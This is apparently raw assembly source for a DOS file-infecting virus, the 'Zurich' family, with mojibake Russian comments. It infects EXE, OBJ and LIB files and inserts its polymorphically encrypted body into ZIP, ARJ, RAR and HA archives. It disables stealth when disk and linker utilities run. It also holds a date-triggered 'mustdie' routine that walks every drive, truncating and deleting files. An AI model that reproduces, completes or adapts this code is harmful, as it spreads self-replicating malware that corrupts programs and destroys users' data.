mov ax, [exehdr.exe_pages]
mov cx, [exehdr.exe_len_mod_512]
jcxz ExactPage
dec ax
pblabel ExactPage
mov dx, 200h
mul dx
add cx, ax
xchg cx, dx
call DosSeek
call second_tst
cmp di, offset offs-2
jb $$ret
;*Å**[process EXE]*********************************************************Å*
;newexetest
; probability_test prblt_infct_EXE, 0f0h, error_exit
;****************************************************************************
; INFECT exe
;****************************************************************************
;int 2bh
call seek_end
;§¤¥áì ®âá¥ïâì ¬ «¥-쪨¥ * ©«ë
cmp ah, MININFECTSIZE/100H
jb $$ret
;................................
call test_size ;proc;ax-(file_size and 0FFFFh)
jz $$ret

call dosseek_bof
call read_buf_22
call exe_test
jz $$ret ;already infect
;; -¥ § à ¦ âì EXE * ©«ë ¡¥§ ५®ª¥©è¥-®¢,
;¨ ¥á«¨ ५®ª¥©è¥-®¢ ®ç¥-ì ¬-®£® (?)
cmp byte ptr [exehdr.exe_rle_count], 1 ;0 or 1 relocations
jb $$ret
;................................

;; ¥á«¨ ¤«¨- § £à㦠¥¬®© ç á⨠exeè-¨ª ¡®«ìè¥ ... 32k = 40h pages
;test for pklite(etc) & PASS E
cmp word ptr [exehdr+18h], 40h ;
jae standart_exe_infect2
mov al, byte ptr [exehdr+1Eh]
cmp al, 'P' ;PKLITE ?
je standart_exe_infect2
cmp al, 20h ;07, 20h -WATCOM
je standart_exe_infect2
cmp al, 7 ;07, 20h -WATCOM
je standart_exe_infect2
cmp byte ptr [exehdr.exe_pages], 40h
jbe standart_exe_infect2
pblabel insert_exe_infect
mov dx, [exehdr.exe_par_dir]
shl dx, 4
jc standart_exe_infect2 ;if header>64k
call dosseek_cx_0
lea dx, [heap]
mov cx, 1800h ;6k
call DosRead
xchg cx, ax
;scan
lea si, [heap+2]
DO
mov di, 3
dec si
dec si
push cx
call calculate_crc ;<add si,3
cmp_ax_CRC32w <55h, 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLAND
je exfnd
cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND
je exfnd
pblabel cont_search
pop cx ;
CYCLE LU
pblabel standart_exe_infect2
jmp standart_exe_infect
pblabel exfnd
sizeof_part1=54h
push si
mov cx, sizeof_part1
DO
lodsb
push cx
lea di, endd
mov cx, 6
repne scasb
pop cx
; jz nff
;nff:
DOIF Z
pop si
jmp cont_search
DONE
CYCLE LU
pop si
;$BEEP$
extrn ffsize_lo:word
extrn ffsize_hi:word
call seek_end
mov ffsize_lo, ax
mov ffsize_hi, dx
mov dx, [exehdr.exe_par_dir]
shl dx, 4
add dx, si
sub dx, (offset heap)+3
call dosseek_cx_0
lea dx, [heap+sizeof_part2]
; to heap+sizeof(part2)
mov cx, sizeof_part1
call DosRead
call dosseek_cur_neg_ax
;§¤¥áì part 1
extrn part1:near
extrn part2:near
;¢ë¡®à ªà¨¯â®¢é¨ª ¤«ï part2 (?)
extrn crypt_part2:byte
call RND_GET
mov crypt_part2, al
mov crypt_old1, ah
lea dx, part1
mov cx, sizeof_part1
call DosWrite
call seek_end
sizeof_part2 = 70h
;«ãçè¥ çâ®-â® ¢à®¤¥:
; part2 -> heap
; encode virus to heap+sizeof(part1)+sizeof(part2)
lea di, [heap+sizeof_part1+sizeof_part2]
mov ax, zmeflIXE
call ZME_crypt ;;ret CX-SIZE
extrn ffentrvir:word
extrn crypt_old1:byte
mov ffentrvir, ax ;?
lea si, part2
lea di, [heap]
push cx
mov cx, sizeof_part2
DO
lodsb
sub al, crypt_part2
stosb
CYCLE LU
mov cx, sizeof_part1
mov al, crypt_old1
DO
sub byte ptr [di], al
inc di
CYCLE LU
pop cx

; crypt part2

add cx, (sizeof_part1+sizeof_part2)


call doswrite_from_heap
call write_sizemarker
pblabel error_exit_2
pop ax
pblabel endd
db 0C3h
db 0CBh
db 0CFh
db 09Ah
db 0CAh
db 0C2h
pblabel no_freq_proc
call get_cur_time
sub ax, [last_infect_time]
cmp ax, INTERVAL_INFECT ;0.5 ¬-
IFDEF RELIZ
jl error_exit_2 ;<<<<<<<<<debug
ENDIF
ret

; ret

; DONE
pblabel standart_exe_infect
call seek_end ;dx:ax - file size
test al, 1
jnz endd ;-¥ § à ¦ âì EXE* ©«ë á -¥ç¥â-®© ¤«¨-®©
cmp dl, 6 ;6*64k=384k 4*64k=256k
jae endd ;file too big, infect him other method (?)

;****************************************************************************
; INFECT
;****************************************************************************
;write old header to EOF
push ax dx ;dx:ax - file size
call crypt_exe_header
mov cx, exe_rle_table-exe_len_mod_512 ;14h
call doswrite_from_heap
pop dx ax

mov cx, ax
and cx, 0Fh
add cl, STACKBASE ;offset virus_start-10h
mov [exehdr.exe_SP], cx

add ax, VIRUSSTACKSIZE-10h ;paragraph


and ax, not 0Fh
push ax dx
mov cx, dx
mov dx, ax
call dosseek
pop dx ax

mov cx, 10h


div cx ;dx:ax =
sub ax, [exehdr.exe_par_dir]
sub ax, VIRUSSTACKSIZE/10h
mov [exehdr.exe_CS], ax
add ah, cl
mov [exehdr.exe_SS.h], ah ;64k
call RND_GET_THREE_BITS
add [exehdr.exe_SS.h], al ;

lea di, [heap] ;to heap


mov ax, zmeflEXE
call ZME_crypt ;;ret CX-SIZE
add ax, VIRUSSTACKSIZE
mov [exehdr.exe_IP], ax
call doswrite_from_heap ;write encrypted virus
call write_sizemarker
call seek_end ;get file size
mov di, [exehdr.exe_pages]
call calc_hdr_pages
;㬥-ìè¨âì MinMem - à §¬¥à ®¢¥à«¥ï (?)
sub di, [exehdr.exe_pages] ;®âà¨æ.
shl di, 5
add [exehdr.exe_min_BSS], di
DOIF NC
mov [exehdr.exe_min_BSS], 0
DONE
pblabel write_exehdr
call dosseek_bof
mov cx, 1Ch
jmp DosWrite_shbuf ;write new header

;****************************************************************************
;*Å**[process OBJ]*********************************************************Å*
pblabel cycle_o
mov dx, [objhdr.recsize]
sub dx, HDRBUFSIZE - 3
sbb cx, cx
call dosseek_cur ;_cx_0
call read_buf_22 ;
cmp al, HDRBUFSIZE
jne obj$ret1
pblabel process_obj ;test size
;int 2bh
cmp [objhdr.rectype], MODEND
je obj$ret1
;-+-[process 98]-------------+-
cmp [objhdr.rectype], SEGDEF
PASS NE
CMP [pos98.hi], -1
DOIF E
cmp word ptr [objhdr.recsize], 7
jne obj$ret1
test byte ptr [objhdr.segattr], MASK SA_B or MASK SA_P
jnz obj$ret1
test byte ptr [objhdr.segattr], 0A0h ;borland windows library is WORD alignment
; test byte ptr [objhdr.segattr], MASK SA_A

DOIF Z
obj$ret1: stc
ret
DONE
call dostell
sub ax, HDRBUFSIZE
sbb dx, 0
mov [pos98.lo], ax
mov [pos98.hi], dx
mov ax, word ptr [objhdr.segsize]
cmp ax, 0Ah
jb obj$ret
cmp ah, 3
ja obj$ret
mov [siz98], ax
DONE
;-+--------------------------+-
pblabel process_A0
;-+-[process A0]-------------+-
cmp [objhdr.rectype], LEDATA
jne cycle_o
rzheap equ <heap+80h>
;read (rzheap+80h, [objhdr.recsize]-4)
mov ax, HDRBUFSIZE -6h
call dosseek_cur_neg_ax
sub ax, 6h
sbb dx, 0
mov [posA0.lo], ax
mov [posA0.hi], dx
lea dx, [rzheap]
mov di, dx
mov cx, [objhdr.recsize]
sub cx, 4h
call dosread
push bx ;save file handle
push ax ;size A0 before infect
add di, ax
push di
;encode virus (rzheap+[objhdr.recsize]-4)
mov ax, zmeflOBJ
call ZME_crypt ;;ret CX-SIZE
; mov [_____], ah
; mov si, VIRUSSTACKSIZE
; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size
; mov [engdata.datasize], cx
; mov [engdata.targetptr], di
; rep movsb ;copy data
; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size
; xor ax,ax
xchg bx, ax ; entry virus

;¬®¦¥â ®áë¯ âìáï, ¥á«¨ 㢥«¨ç¨âì à §¬¥à ¢¨àãá . ᥩç á 7000


;- ¤®, çâ®¡ë ¡ë«® 9 ¡«®ª®¢.?
;mov ax, cx
;add ax, 3DFh
;dec ax
;cwd
;mov si, 3E0h
;div si
;inc ax
;cwd
;mov si, 3E9h
;mul si
mov ax, di
sub ax, offset rzheap
cwd
mov si, 3E0h
div si
mov dl, 7
mul dl
add ax, cx
and ax, 0Fh
sub cx, ax
add cx, 10h
pop di
add di, cx
mov word ptr [fisize], cx

;scan
pop cx ;size A0 before infect
push di ;ptr to end A0 & virus
lea si, [rzheap+2]
DO
mov di, 3
dec si
dec si
push cx
call calculate_crc ;<add si,3
pop cx ;
cmp_ax_CRC32w <55h, 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLAND
je fnd
cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND
je fnd
cmp_ax_CRC32w <52h, 89h, 0C2h> ;push dx; mov dx,ax ;< WATCOM
je fnd
CYCLE LU

pop ax
;error_exit_2:
pop ax
obj$ret: stc ;CF - error flag for process_lib
ret
fnd:
mov byte ptr [si-3], opCALL
lea ax, [bx-3]
add ax, cx
mov word ptr [si-2], ax ;, 00 ;(cx+bx-3)
pop dx ;ptr to end A0 & virus
pop bx ;restore file handle
;rezka
lea si, [rzheap]
lea di, [heap]
DO ;@repeat:
sto_byte LEDATA
mov ax, dx
sub ax, si
MIN ax, 3E0h
push ax ;block size
add ax, 4
stosw
sto_byte 1
mov ax, si
sub ax, offset rzheap
stosw
pop cx
;/----crc-------------------\
add al, byte ptr [di-4]
add al, byte ptr [di-5]
add al, ah
add al, LEDATA+1
DO
add al, byte ptr [si]
movsb
CYCLE LU
neg al
stosb
;\--------------------------/
cmp si, dx
CYCLE B ; jb @repeat

sub di, (offset heap)+3E7h


push di ;razmer wtorogo finserta

;seek_pos(posA0)????
mov dx, [posA0.lo]
mov cx, [posA0.hi]
call dosseek
;write (heap, [objhdr.recsize]+3)
mov cx, [objhdr.recsize]
add cx, 3
call doswrite_from_heap
;f_insert (heap+[objhdr.recsize], 3E7h-([objhdr.recsize]+3))
mov si, ax
add si, dx
mov cx, 3E7h
sub cx, ax
add di, cx
mov [lib_dict_offset], di
; adc [lib_dict_offset.hi], 0
push cx
call dostell
pop cx
call f_insert
;read (objhdr, 22h)
;---- skip FIXUPP if present
call read_buf_22
cmp [objhdr.rectype], FIXUPP
DOIF E
sub ax, 3
sub ax, [objhdr.recsize]
DONE
call dosseek_cur_neg_ax
;f_insert (heap+3E7h, virrsize-3E7h)
lea si, [heap+3E7h]
pop cx ;virrsize-3E7h
call f_insert
;-process-segment------------
mov dx, [pos98.lo]
mov cx, [pos98.hi]
call dosseek
call read_buf_22
call dosseek_cur_neg_ax
mov ax, [fisize]
add word ptr [shift_buffer.segsize], ax
;/----crc-------------------\
mov cx, [objhdr.recsize]
lea si, [vir_heap._objhdr]
inc cx
lodsb
DO
add al, byte ptr [si]
inc si
CYCLE LU
neg al
mov byte ptr ds:[si], al
;\--------------------------/
jmp DosWrite_shbuf_22

;*Å**[process LIB]*********************************************************Å*
pblabel process_lib
;CALL CHECK_PROCESS_NAME
; ⪠§ à ¦¥-¨¥ LIB § -¨¬ ¥â ¬-®£® ¢à¥¬¥-¨
; íâ® á⮨⠤¥« âì ¯à¨ à ¡®â¥ NDD, PKLITE, TLINK, etc

cmp byte ptr [libhdr.lib_hdr_dict_offs], 0


jne lib$ret ;already infect
DO ;infect exitcode of 'C' program
mov di, 8 ;search for 'EXIT'
lea si, [vir_heap._libhdr]
call calculate_crc ;<add si,3
;; § à ¦¥-¨¥ '___write', '__ioalloc_' ¨â¯
cmp_ax_CRC32w <80h, 6, 0, 4, 'E', 'X', 'I', 'T'> ;< BORLAND
je exfound
cmp_ax_CRC32w <80h, 6, 0, 4, 'e', 'x', 'i', 't'> ;< WATCOM
je exfound
mov dx, 10h-HDRBUFSIZE
call dosseek_cur_cx_1
mov cx, 10h
div cx
mov [virobjblk], ax
call read_buf_22
cmp al, HDRBUFSIZE
CYCLE E
end_process_dictionary:
lib$ret: ret

pblabel exfound
cmp byte ptr [libhdr+14h], 32h
je lib$ret
call process_obj ;hmmm...
jc lib$ret
call dosseek_bof
call read_buf_22
mov ax, [lib_dict_offset]
add [libhdr.lib_hdr_dict_offs.lo], ax
adc [libhdr.lib_hdr_dict_offs.hi], 0
call write_exehdr
; call dosseek_bof
; call doswrite_shbuf_22
;¢ á«®¢ à¥: ¤«ï ¢á¥å § ¯¨á¥© > exit_ ¤®¡ ¢¨âì à §¬¥à ¢áâ ¢ª¨ ¢ ¯ à £à * å
;seek (lib_hdr_dict_offs)
mov cx, [libhdr.lib_hdr_dict_offs.hi]
mov dx, [libhdr.lib_hdr_dict_offs.lo]
call dosseek
DO
lea dx, [heap]
mov cx, LIB_DICTIONARY_ENTRY_SIZE
call dosread ; read (heap, 0x200)
mov dx, LIB_DICTIONARY_ENTRY_SIZE
cmp ax, dx ; ¯®â®¬ ᤥ« © ç¥à¥§ SAHF
jne end_process_dictionary ;< ¯®á«¥ í⮣® - ¤®-¡ë
call dosseek_cur_neg_dx ; áâàã-ª¥©â¨âì extended dictionary.
lea si, [heap] ; process:)
mov cx, 25h
DO
lodsb
push si
mov ah, ch ;ch=0
add ax, ax
DOIF NZ
add ax, offset heap
xchg si, ax
lodsb
mov ah, ch ;ch=0
add si, ax
cmp word ptr [si], UNINIT
virobjblk equ word ptr ($-2)
DOIF A
mov ax, [lib_dict_offset]
shr ax, 4
add word ptr [si], ax
DONE
DONE
pop si
CYCLE LU
mov cx, LIB_DICTIONARY_ENTRY_SIZE
call doswrite_from_heap ; write (heap, 0x200)
CYCLE
;****************************************************************************

;*Å**[process HA]*********************************************************Å*
pblabel process_ha
;int 2bh
mov ax, [hahdr.filecnt]
inc ax
mov [hafcount], ax
mov ax, HDRBUFSIZE - (size ha_main)
call dosseek_cur_neg_ax
jmp sss
pblabel cycle8
;seek(size ha_file_hdr)+size name+machine+1
lea si, [vir_heap._hahdr.ha_name]
mov cx, 42h ; max length name
DO
lodsb
and al, al
CYCLE LUNZ
jcxz error_exit2
lodsb
mov ah, 0
sub cx, 34h
sub ax, cx
sbb cx, cx ;<cx=0
add ax, [hahdr.ha_compress_size.lo]
adc cx, [hahdr.ha_compress_size.hi]
xchg dx, ax
call dosseek_cur
sss:
;read(header)
call read_buf_22
cmp [hahdr.ha_ver_method], HA_METHOD_STORED
je error_exit2
cmp al, HDRBUFSIZE
je cycle8
cmp al, 0
jne error_exit2
;/+- CREATE HAHDR -+-
lea di, [vir_heap._crthdr]
sto_byte HA_METHOD_STORED
call store_fisize
lea si, [vir_heap._arx_crc]
movs4 ;d;file crc_32
call create_dtim1
sto_byte 0 ; sto_word '/'
call store_fname
sto_two_byte 0, 2
sto_two_byte 1, 20h
;\+- CREATE HAHDR -+-
mov cx, [fnamesize]
add cx, SIZE ha_file_hdr + 3 ; 0h
lea dx, [vir_heap._crthdr]
call doswrite
mov cx, word ptr [fisize]
mov dx, word ptr [fioff]
call doswrite
mov dx, 2
call dosseek_cx_0
mov cx, 2
lea dx, [vir_heap._hafcount]
jmp doswrite
;****************************************************************************

;*Å**[process RAR]*********************************************************Å*
pblabel process_rar
DO
cmp [rarhdr.rar_head_type], 73h ;
DOIF E ;test for multi-volume archive (?)
test byte ptr [rarhdr.rar_head_flags], 1h
DOIF NZ
pblabel error_exit2
ret
DONE ; remove Authenticity information present flag
and byte ptr [rarhdr.rar_head_flags], not 20h
call dosseek_cur_neg_ax
mov di, SIZE rar_main_hdr - 2
lea si, [vir_heap._rarhdr.rar_head_type]
call Calculate_CRC
mov [rarhdr.rar_head_crc], cx
call DosWrite_shbuf_22
DONE
cmp [rarhdr.rar_method], RAR_METHOD_STORED
je error_exit2
mov dx, [rarhdr.rar_f_head_size]
sub dx, HDRBUFSIZE
sbb cx, cx
test byte ptr [rarhdr.rar_head_flags.1], 80h
DOIF NZ
add dx, [rarhdr.rar_compressed_size.lo]
adc cx, [rarhdr.rar_compressed_size.hi]
DONE
call dosseek_cur
call read_buf_22
pr_rar:
and ax, ax ;if eof
EXIT Z
cmp [rarhdr.rar_head_type], 74h
CYCLE BE ; if marker block or archive header
push ax
;/+- CREATE RARHDR 1.50 -+-
LEA di, [vir_heap._crthdr+2]
sto_two_byte 74h, 0
sto_byte 80h
call sto_fnamesize_20
call store_fisize
stosb ;rar_host_os =0
lea si, [vir_heap._arx_crc]
movs4 ;d;file crc_32
call create_dtim1
sto_two_byte 0Fh, RAR_METHOD_STORED
sto_word_ <[fnamesize]>
mov al, 20h
call stosw_sto_0
call store_fname
lea si, [vir_heap._crthdr+2]
sub di, si
call Calculate_CRC
mov word ptr [crthdr], cx ;[si-2] (?)
;\+- CREATE RARHDR -+-
pop ax
call dosseek_cur_neg_ax
mov cx, SIZE rar_file_hdr
JMP f_insert_hdr_und_file
;****************************************************************************
;include add2arj.as1
;*Å**[process ARJ]*********************************************************Å*
DO ;seek_cur(arj_bas_hdr_size+0Ah+arj_compressed_size-22h)
mov dx, [arjhdr.arj_bas_hdr_size]
sub dx, HDRBUFSIZE-0Ah
sbb cx, cx
cmp [arjhdr.arj_original_size.lo], cx
DOIF NE ; if first header - (great BUG)
add dx, [arjhdr.arj_compressed_size.lo]
adc cx, [arjhdr.arj_compressed_size.hi]
cmp [arjhdr.arj_compres_method], ARJ_METHOD_STORED
DOIF E
pblabel error_exit3
ret
DONE
DONE
call dosseek_cur
call read_buf_22
pblabel process_arj
test [arjhdr.arj_flags], 4h ;test for multi-volume archive (?)
jnz error_exit3
cmp [arjhdr.arj_bas_hdr_size], 0
CYCLE NE
push ax ;
;/+- CREATE ARJHDR -+-
lea di, [vir_heap._crthdr]
lea si, arj_h
movsw ;arj_id
call sto_fnamesize_20
movsw ;31e
mov al, 1
stosw ;1
dec ax
call create_dtim
call store_fisize
movs4 ;d;file crc_32
sto_word 0
stos2w ;0
call store_fname ;*;name
stosw ;0
push di
lea si, [vir_heap._crthdr.arj_first_hdr_size]
sub di, si
call calculate_crc
pop di
xchg ax, cx
call st_dx_0
;\+- CREATE ARJHDR -+-
pop ax
call dosseek_cur_neg_ax
mov cx, 2Ah ;SIZE zip_local_header
pblabel f_insert_hdr_und_file
CALL f_insert_hdr
mov cx, word ptr [fisize]
mov si, word ptr [fioff]
jmp f_insert
;****************************************************************************
;include add2zip.as1
;*[create zip headers]*******************************************************
pblabel create_zip
LEA di, [vir_heap._crthdr]
lea si, zip_h
movsw ;'KP'
lodsw ;304
DOIF NZ ;CENTRAL_FLAG ; $$if central
sto_word ZIP_CNL_ID
mov ax, word ptr ds:[si] ;20d;?ver?
DONE
stosw
movsw ;14
mov ax, 2
pushf
call create_dtim
add_si4
movs4 ;d;file crc_32
call store_fisize
mov ax, [fnamesize]
call stosw_sto_0 ;extra field size =0
popf
DOIF NZ ;CENTRAL_FLAG ; $$if central
stos3w ;=0
mov al, 20h
call stosw_sto_0
add_di4
DONE
pblabel store_fname ;*;name
mov cx, [fnamesize]
rep movsb
pblabel error_exit1
ret
;****************************************************************************
;*Å**[process ZIP]*********************************************************Å*
pblabel cycle1
mov dx, [ziphdr.zip_size_fname]
sub dx, 4
sbb cx, cx
add dx, [ziphdr.zip_extra_field_length]
cmp [ziphdr.zip_compression_method], ZIP_METHOD_STORED
je mustdie
add dx, [ziphdr.zip_compressed_size.lo]
adc cx, [ziphdr.zip_compressed_size.hi]
call dosseek_cur
call read_buf_22 ; read(ziphdr, sizeof(zipcnthdr))
pblabel process_zip
;$BEEP$
; DOIF E

; DONE
cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_LCL_ID
je cycle1
cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_CNL_ID
jne error_exit1
call create_zip
mov dx, - HDRBUFSIZE ; SIZE zip_local_header
call dosseek_cur_cx_1
mov [crthdr.zip_rel_off_of_loc_hdr_.lo], ax
mov [crthdr.zip_rel_off_of_loc_hdr_.hi], dx
mov cx, SIZE zip_local_header ;1e
call f_insert_hdr_und_file
jmp proc_cnt
DO
; seek_cur(ziphdr.filename_length_+ziphdr.extra_field_length_
; +ziphdr.file_comment_length_)
mov dx, [ziphdr.zip_size_fname_]
add dx, [ziphdr.zip_extra_field_length_]
add dx, [ziphdr.zip_file_comment_length_]
add dx, 0Ch
call dosseek_cur_cx_0
pblabel proc_cnt
call read_buf_22
cmp [ziphdr.zip_centr_sign_.lo], ZIP_SIGN
jne error_exit1
cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_CNL_ID
CYCLE E
cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_END_ID
jne error_exit1
call dosseek_cur_neg_ax ; seek_cur(-sizeof(zip_centr_header))
inc [ziphdr.ttl_num_of_ent_on_this_disk]
inc [ziphdr.ttl_num_of_ent_in_the_cent_dir]
add [ziphdr.size_of_the_central_directory.lo], size zip_central_header
mov ax, [fnamesize]
cwd ;DX := 0
add [ziphdr.size_of_the_central_directory.lo], ax
adc [ziphdr.size_of_the_central_directory.hi], dx
add ax, [fisize] ;[zip_compressed_size.lo]
add ax, SIZE zip_local_header
add [ziphdr.off_of_strt_of_cent_directory.lo], ax
adc [ziphdr.off_of_strt_of_cent_directory.hi], dx
mov cx, SIZE zip_end_header
call DosWrite_shbuf ;write zip_end_header
cmp dx, bp ;zf=0
call create_zip ; create_centr_header
mov dx, -SIZE zip_end_header ;-16
call dosseek_cur_cx_1
mov cx, SIZE zip_central_header
;****************************************************************************

;%NOINCL
;.SALL

;shift_buffer_size = 13h
pblabel f_insert_hdr
add cx, [fnamesize]
pblabel f_insert_hdr_wirhout_fname
LEA si, [vir_heap._crthdr]
pblabel f_insert
push dx ax
push cx ; insert_size
xor cx,cx ; cx := 0
sub ax, HDRBUFSIZE
sbb dx, cx
mov [beg_pos.hi], dx
mov [beg_pos.lo], ax
dec cx ; cx := -1
mov dx, - HDRBUFSIZE
mov al, 2 ; seek_end ( - shift_buffer_size )
call DosSeek_all
DO
call read_buf_22 ; read ( shift_buffer, shift_buffer_size )
pop dx ; seek_cur ( insert_size - shift_buffer_size )
push dx
sub dx, HDRBUFSIZE ; sub dx,ax (?)
call dosseek_cur_cx_0
call DosWrite_shbuf_22 ; write ( shift_buffer, shift_buffer_size )
pop dx ; seek_cur ( - insert_size - 2*shift_buffer_size )
push dx
add dx, HDRBUFSIZE*2
call dosseek_cur_neg_dx ; #### DX:AX=curpos
cmp dx, [beg_pos.hi]
REPEAT A
cmp ax, [beg_pos.lo]
CYCLE A
;-+--------+- seek for write -+--------+-
pop ax ; insert_size
pop dx cx
push ax
call dosseek
mov dx, si
pop cx
call DosWrite
jmp dostell
;****************************************************************************
;shift_buffer_size = 22h

;****************************************************************************
pblabel sto_fnamesize_20
mov ax, 20h
add ax, [fnamesize]
stosw
ret
;****************************************************************************

;****************************************************************************
pblabel store_fisize
xor dx, dx
sto_word_ <[fisize]> ;.filesize
xchg dx, ax
pblabel st_dx_0
stosw ;d;hdr crc
xchg ax, dx
pblabel stosw_sto_0
stosw
sto_word 0
ret
;****************************************************************************

;****************************************************************************
pblabel create_dtim
call stosw_sto_0
pblabel create_dtim1
sto_word TIMEMARKER ;time = const TIMEMARKER
sto_word_ <[host_arx_date]>
ret
;****************************************************************************
pblabel write_sizemarker
;write garbage
lea di, [heap] ;from heap
mov ax, SIZEMARKER+SIZEMARKER_MOD
CALL SHIT_AX
;write virus
call seek_end ;dx:ax - file size
xor dx, dx
mov cx, SIZEMARKER
div cx
sub cx, dx
add cx, SIZEMARKER_MOD
jmp doswrite_from_heap

;****************************************************************************
;xEXE db '.EXE'
;xCOM db '.COM'
pblabel hdrs
CRC32w <'P','K','ETX','EOT'> ;ZIP
CRC32w <060h,0EAh> ;ARJ
CRC32w <'R','a','r','!'> ;RAR
CRC32w <'H','A' > ;HA
pblabel endarxex
; CRC32w <0FFh,0FFh,0FFh,0FFh> ;SYS
CRC32w <0F0h,0Dh> ;LIB
CRC32w <080h> ;OBJ
; CRC32w <'F','B','O','V'> ;OVR
CRC32w <'Z','M'> ;EXE
CRC32w <'M','Z'> ;EXE

pblabel offs
dw process_zip
dw process_arj
dw process_rar
dw process_ha
; dw process_sys
dw process_lib
dw process_obj
; dw process_ovr
dw process_exe
dw process_exe
;cmp_ax_CRC32w <2,1Ah,8Bh>
pblabel api_entry
call doscall
iret

pblabel mustdie
DTADELTA equ 11H
forDTAs equ heap+80h
TROJANTIME=0
cmp [host_arx_date.h], 20h ;if 1996 year then must die!
DOIF B
;executor
cmp [ziphdr.zip_file_time], TROJANTIME
DOIF E
;int 2bh
call dosseek_cur_cx_0
lea dx, [api_entry]
mov ax, 2503h
call doscall
lea dx, [heap]
mov cx, [ziphdr.zip_compressed_size.lo]
and ch, 1Fh ; maximum size=8K
call dosread
call dx
; mov di, cx
; mov si, dx
; call Calculate_CRC
DONE
ret
DONE

MOVSEG ds, cs
MOVSEG es, cs
next_disk:
lea si, forDTAs
lea di, [heap]
disk=$+1
IFDEF RELIZ
sto_two_byte 'C', ':'
ELSE
sto_two_byte 'D', ':'
ENDIF
cmp al, 'Z'
je rt_err
DO
add si, DTADELTA
mov dx, si
mov ah, 1Ah
call DosCall
sto_byte '\'
mov word ptr [di],'.*'
mov word ptr [di+2],'*'
mov cx, 3Fh
lea dx, [heap]
FindFirst:
mov ah, 4Eh
jmp short EndOfSearch
DO
FindNext:
mov ah, 4Fh
EndOfSearch:
call DosCall
DOIF C
mov byte ptr [di-1], 0
lea dx, [heap]
mov ah, 3Ah
call DosCall
DO
dec di
cmp byte ptr [di-1],'\'
CYCLE NE
sub si, DTADELTA
mov dx, si
mov ah, 1Ah
call DosCall
cmp si, offset forDTAs
jae FindNext

inc byte ptr ds:[disk]


jmp next_disk
DONE
push di si
add si, find_buf_pname
DO
lodsb
stosb
or al, al
CYCLE NZ
dec di
pop si

test byte ptr [si.find_buf_attr], 10h


je @@0
cmp byte ptr [si.find_buf_pname], '.'
jne @@1
@@0:
pop di ;file -> restore DI
lea dx, [heap]
mov cx, 20h
mov ax, 4301h
call DosCall
mov ax, 3D21h
call DosCall
xchg bx, ax
DOIF NC
call DosTruncate
call DosClose
DONE
mov ah, 41h
call DosCall
CYCLE
@@1:
pop ax ;drop DI ; ;¥á«¨ ¤¨à¥ªâ®à¨ï +name
CYCLE

ends
end

INCLUDE ZURICH.ASI
;INCLUDE CRC.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code

;public get_crc_just_fname
;public get_own_name
extrn DosCall :near
extrn calculate_crc5 :near

;-+------------------------------------------------------------------------+-
;¯®«ãç¨âì * ©«-¥©¬ ¨§ á।ë ⥪ã饣® PSP
;proc ;return ds:dx =@ParamStr(0) {use cur PSP}
;-+------------------------------------------------------------------------+-
;CRPROC get_own_name, 79FCh
;public get_own_name
pblabel get_own_name
push es ax bx
; mov ah, 34h
; call DosCall ;BX-cur psp
; mov ds, es:[bx][0Fh] ;cur PSP
mov ah, 51h
int 21h
mov ds, bx
mov bx, PDB_environ
mov ds, ds:[bx] ;cur envir
DO
inc bx
cmp word ptr [bx-4], 0
CYCLE NZ
mov dx, bx
pop bx ax es
ret
;endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
;ds:dx - string,
;(dx:cx)ax-crc of UpCase(JustFileName)
;ZF=1, ¥á«¨ CRC í⮣® ¨¬¥-¨ ¥áâì ¢ â ¡«¨æ¥
;-+------------------------------------------------------------------------+-
;CRPROC get_crc_just_fname, 474Ah
;public get_crc_just_fname
pblabel get_crc_just_fname
push es
push si di cx dx
pushf
movseg es, cs
cld
mov si, dx
DO
lodsb
and al, al
CYCLE NZ
std
lodsw
DO
lodsb
cmp al, '\'
EXIT E
cmp al, ':'
EXIT E
cmp al, 0
CYCLE NZ
popf
lodsw
call Calculate_CRC5
lea di, nostlnames
mov cx, nostlnamescount
repne scasw
;cmp di, cx ;<debug zf=0
pop dx cx di si
pop es
ret
;endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
;¯à¨ à ¡®â¥ íâ¨å * ©«®¢ ¢ëª«îç ¥âáï á⥫âá
;¨ ¥é¥: í⨠* ©«ë -¥ § à ¦ îâáï!
;-+------------------------------------------------------------------------+-
pblabel nostlnames
CRC32w < 'U', 'U', 'E', 'N', 'C' > ;uuencode
CRC32w < 'P', 'K', 'L', 'I', 'T' > ;PKLITE
CRC32w < 'L', 'Z', 'E', 'X', 'E' > ;lzexe
CRC32w < 'N', 'D', 'D', '.', 'E' > ;ndd.exe
CRC32w < 'D', 'I', 'E', 'T', '.' > ;diet.
CRC32w < 'S', 'C', 'A', 'N', 'D' > ;scandisk
CRC32w < 'S', 'D', '.', 'E', 'X' > ;sd.exe
CRC32w < 'S', 'P', 'E', 'E', 'D' > ;speedisk
CRC32w < 'D', 'E', 'F', 'R', 'A' > ;defrag
CRC32w < 'T', 'L', 'I', 'N', 'K' > ;tlink
CRC32w < 'W', 'L', 'I', 'N', 'K' > ;Wlink
CRC32w < 'L', 'I', 'N', 'K', '.' > ;link.exe
CRC32w < 'D', 'P', 'M', 'I', '1' > ;DPMI16
CRC32w < 'D', 'P', 'M', 'I', '3' > ;DPMI32
CRC32w < 'R', 'T', 'M', '.', 'E' > ;RTM.EXE
CRC32w < 'R', 'T', 'M', '3', '2' > ;RTM32.EXE
nostlnamescount = ($-nostlnames)/2
;-+------------------------------------------------------------------------+-
ends
end

include zurich.asi
code segment byte public
assume cs:code, ds:code, es:code, ss:code
;extrn begin_rnd_procs:dword
;extrn carrier :near
;extrn end_msg :near
public r_lo
public r_hi
;.model tiny
;.code

;10DCD
; r_hi r_lo
;-------------------
; xxxx xxxx r_lo * 0DCDh
; yyyy yyyy r_hi * 0DCDh
; r_hi r_lo * 1
;-------------------
;***************************************************************************
pblabel RND_GET
push dx cx
mov ax, cs:r_lo
